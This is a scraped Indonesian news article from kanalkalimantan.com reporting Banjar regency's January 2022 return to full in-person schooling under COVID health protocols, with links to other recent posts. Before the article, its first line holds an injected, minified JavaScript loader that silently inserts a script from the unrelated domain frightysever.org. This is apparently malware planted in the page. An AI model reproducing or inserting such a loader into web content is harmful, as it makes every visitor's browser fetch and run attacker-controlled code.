(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sekolah Full Tatap Muka 100 Persen, Plt Kadisdik Banjar: Orangtua Tak Usah Khawatir


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar menerapkan pembelajaran tatap muka (PTM) 100 persen seluruh sekolah di Kabupaten Banjar yang dimulai Senin 10 Januari 2022.

Plt Kepala Dinas Pendidikan Kabupaten Banjar Liana Penny ST MS mengatakan, pelaksanaan PTM 100 persen di Kabupaten Banjar merupakan tindak lanjut dari Surat Keputusan Bersama (SKB) 4 Menteri Nomor 5 Tahun 2021.

“Alhamdulillah, untuk Kabupaten Banjar melaksanakan PTM secara full, yaitu kapasitas 100 persen dengan frekuensi full hari sekolah dan maksimal pembelajaran selama enam jam,” ujar Liana Penny saat sosialisasi pembelajaran tatap muka terbatas, Jum’at (14/1/2022) via zoom meeting.

Hal ini tentu merupakan kesempatan yang baik untuk menunjukan dan membuktikan bahwa sekolah di Kabupaten Banjar bisa melaksanakan PTM yang aman.

 

 

Baca juga: Pikap Tabrak Beton Pembatas Pasar Sentra Antasari, Pedagang Ayam Tewas Tertimpa Runtuhan

Pihaknya meminta seluruh orangtua dan siswa, serta keluarganya tetap meningkatkan penerapan protokol kesehatan yang ketat. Instruksi itu juga berlaku bagi para pendidik maupun tenaga kependidikan dan keluarganya.

Diketahui Kabupaten Banjar saat ini berada pada zona PPKM Level 1. Setiap sekolah tetap wajib menyediakan tempat cuci tangan, alat pengukur suhu tubuh, dan wajib bermasker serta selalu menjaga kebersihan tempat seperti toilet dan ruangan.

Zoom meeting pelaksanaan sosialisasi pembelajaran tatap muka terbatas Disdik Banjar. Foto: wanda

“Saat ini sekolah sudah diminta mengisi kesiapan kurikulum, pembelajaran, serta sarana dan prasarana, jika tidak memenuhi akan dievaluasi kembali,” ujarnya.

Beberapa guru mengaku keterbatasan kapasitas ruang kelas masih menjadi kendala penerapan jaga jarak siswa. Apalagi, jika jarak harus mencapai 1,5 meter sampai 1,8 meter, tidak dapat menampung seluruh siswa.

Untuk kendala penerapan jarak siswa, bangku juga hanya ditempati satu anak. Kemudian, ada jarak antar bangku minimal 1 meter. Karena ada jarak 1 meter, tidak cukup 100 persen. Makanya PTM dilakukan secara shift, tapi tetap 100 persen setiap hari.

Baca juga: Kasus Cabul Dokter R: Diberhentikan Sementara dari ASN, Dinkes Banjarbaru Tak Lapor

Selain itu, siswa dianjurkan untuk membawa bekal dari rumah, karena kantin untuk sementara ditutup agar memudahkan guru memantau para siswa dan lebih mudah melakukan evaluasi.

Meski siswa bisa masuk 100 persen, menurut Plt Kadisdik Banjar, tetap diberlakukan batasan durasi jam pembelajaran.

“Misal, jam pelajarannya maksimal enam jam, per jam pelajaran 30 menit untuk PAUD dan TK, 35 menit untuk SD, dan 45 menit untuk SMP, ditambah dengan pendidikan karakter dan ada jeda istirahat,” jelasnya.

Bahtiar Rifai, salah satu guru di Kecamatan Aluh-aluh mengakui, ada kekhawatiran dari orangtua tentang bagaimana tanggung jawab sekolah jika terjadi sesuatu terhadap anak.

Liana menjawab tentu Korwil tengah aktif dalam kegiatan pelaksanaan sosialisasi mengenai pentingnya melaksanakan vaksinasi sebagai salah satu syarat dalam pelaksanaan PTM 100 persen ini.

Bahkan beberapa kali sudah dilaksanakan vaksinasi, sehingga karena masyarakat juga sudah melihat tidak terjadi apa-apa dan pada akhirnya semua bisa terlaksana.

“Memang ada beberapa masyarakat yang tidak langsung mau itu wajar, namun harus sabar, dan ajak dari pihak puskesmas, polsek, koramil untuk melaksanakan sosialisasi, dengan senang hati bersedia membantu, karena ini adalah tugas kita bersama, jadi jangan merasa sendiri,” kata dia.

Liana menambahkan untuk para pendidik maupun tenaga kependidikan yang enggan untuk melaksanakan vaksinasi, maka akan ditindak lanjuti Dinas Pendidikan Kabupaten Banjar dengan diberikan sanksi administratif.

Baca juga: Pasca OTT, Rumah hingga Tempat Kerja Bupati Penajam Paser Utara Abdul Gafur Ma’sud Disegel KPK

Dengan diizinkannya PTM 100 persen ini, Liana turut berharap Kabupaten Banjar dapat kembali mengejar ketertinggalan dalam proses belajar dan mengajar, sehingga peningkatan kualitas pembelajaran lebih prima. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

10 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

12 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

13 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

16 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

19 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

22 jam ago

This website uses cookies.